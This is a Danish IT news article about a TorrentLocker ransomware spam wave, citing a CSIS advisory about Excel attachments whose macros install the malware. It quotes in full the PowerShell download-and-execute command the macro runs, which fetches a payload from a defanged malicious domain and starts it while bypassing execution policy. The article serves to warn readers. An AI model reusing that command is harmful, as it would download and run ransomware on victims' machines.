Danmark ramt af nyt ransomware-angreb: Du skal ikke åbne denne mail

Danmark rammes i disse dage af en bølge af ondsindet ransomware, der kan låse din computers filer.

Danmark er mål for endnu en spamkampagne fra it-kriminelle, der bærer en ransomware i Torrentlocker-familien.

Det skriver sikkerhedsfirmaet CSIS i en sikkerhedsadvarsel.

Den ondsindede email ligner de fleste andre spam-emails for tiden med en tilsyneladende personlig besked på dansk og et tilknyttet Excel-dokument.

Hvis denne fil åbnes af en uforsigtig modtager og får en tilknyttet makrokode aktiveret ved at slå Excels beskyttelsestilstand fra, vil brugeren ende med en krypteret computer.

Du kan se et eksempel på mailen i toppen af artiklen. 

Aktiveres automatisk 
Makrokoden henter automatisk selve ransomware-programmet ned fra et ondsindet domæne, der via Windows' powershell-framework henter ransomware i Torrentlocker-klassen ned og afvikler programmet.

Det vil resultere i en låst computer og formodentligt et krav om en løsesum.

Funktionen ses udført via følgende powershell i en sikret form fra CSIS:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe poweRSHELl.exE -ExeCuTiONPoliCY BYpaSS -nOProfilE -WIndoWsTyle hiddeN (nEw-objeCT SySTEM.NET.WeBcLIeNt).dOWnLoadFIle('http://ltmp.applepice[.]pl/file/set.rte','C:\Users\[%brugerkonto%]\AppData\Roaming.eXE');staRT-PrOcESS 'C:\Users\[%brugerkonto%]\AppData\Roaming.EXe'

Alle bør derfor være opmærksomme, hvis de modtager en mail med et enkeltstående xls-dokument, der ikke giver mening, og særligt hvis det kommer fra en ukendt email-adresse.

Angrebet minder i høj grad som et lignende angreb fra sidste uge, hvor ransomwaren blev aktiveret af en vedhæftet zip-fil.

Det fik i sidste uge CSIS til at højne sin trusselvurdering til 4 ud af 5.  

Læs også: Sikkerhedsfirma advarer: Målrettet ransomware-kampagne skyller ind over Danmark


Ytringer på debatten er afsenders eget ansvar - læs debatreglerne
Indlæser debat...


Brancheguiden
Brancheguide logo
Opdateres dagligt:
Den største og
mest komplette
oversigt
over danske
it-virksomheder
Hvad kan de? Hvor store er de? Hvor bor de?
AlfaPeople Nordic A/S
Rådgivning, implementering, udvikling og support af software og it-løsninger indenfor CRM og ERP.

Nøgletal og mere info om virksomheden
Skal din virksomhed med i Guiden? Klik her

Kommende events
Få styr på dine kontrakter - også i årene efter de er blevet underskrevet

I en verden fyldt med kontrakter og aftaler er det afgørende, at du har styr på håndteringen af din organisations kontrakter - både de nye og de eksisterende. På dette seminar gennemgår vi nogle af de største risici og hvordan du minimerer dem. Der er mange penge at spare. Og stor mulighed for kraftig effektivisering.

23. maj 2019 | Læs mere


CXO roundtable: Sæt strategisk it-sikkerhed på dagsordenen

Eksklusivt roundtable: Hør hvordan DSBs Chief Information Security Officer arbejder med fremtidens it-trusler og strategisk it-sikkerhed - og vær med til at sætte fokus på strategisk it-sikkerhed, incident response, beredskabsplaner og business continuity blandt en udvalgt gruppe af digitale ledere fra danske virksomheder.

24. maj 2019 | Læs mere


FutureLegal

FutureLegal giver dig viden og inspiration til at imødegå fremtiden for juridiske ydelser.

28. maj 2019 | Læs mere






Premium
Her er verdens 10 bedste outsourcing-leverandører: Se listen her
For tredje år i træk vinder samme it-outsourcingleverandør førstepladsen på liste over verdens bedste. 85 leverandører er blevet vurderet inden for 26 kategorier for at kunne skære feltet ind til de 10 bedste. Se hele listen her.
Computerworld
Google blokerer med omgående virkning for Huaweis brug af Android-licenser - se hvad det kommer til at betyde for dig
Google begrænser med omgående virkning kinesiske Huaweis brug af Android. Huawei vil ikke længere have adgang til tjenester fra Google.
CIO
Danske Joachim Ærtebjerg er med i toppen som CTO for Intel i EMEA - hør hans bud på it-udviklingen efter 25 år hos processor-giganten
Tech fra Toppen: Danske Joachim Ærtebjerg har arbejdet for Intel siden de lancerede Pentium-processoren i midten af 90´erne. I dag er han CTO for EMEA-området - og giver her sit bud på it-udviklingen.
Job & Karriere
"Vi var fem mennesker, der fik 400 millioner kroner, et lokale på 12 m2 og et stempel fra Undervisningsministeriet. Det kalder jeg mit første start-up. Det blev til IT-Universitetet. "
"Da jeg var færdig med PhD´en så var vi fem mennesker, der fik 400 millioner kroner, et lokale på 12 m2 og et stempel fra Undervisningsministeriet. Så skulle vi bare have et nyt universitet op og køre på seks måneder. Det kalder jeg mit første start-up. Det blev til IT-Universitetet."
White paper
Dit netværk holder dig tilbage! Sådan gør du Virtual Cloud Network skarpere
I vor tids teknologi er kun én ting konstant: Udviklingen. Vi er midt i en digital disruption, som transformerer alle industrier, alle virksomheder og alle teams. Så hvad gør I? I dette white paper kigger vi nærmere på, hvad det kræver for at få en succesfuld digital transformation. Hvordan du kan tilpasse services på dage i stedet for måneder, fleksibiliteten i at kunne reagere på feedback og muligheder i realtid, og hurtigheden og forudsigelsen til at kunne levere en bedre og mere værdifuld kundeservice.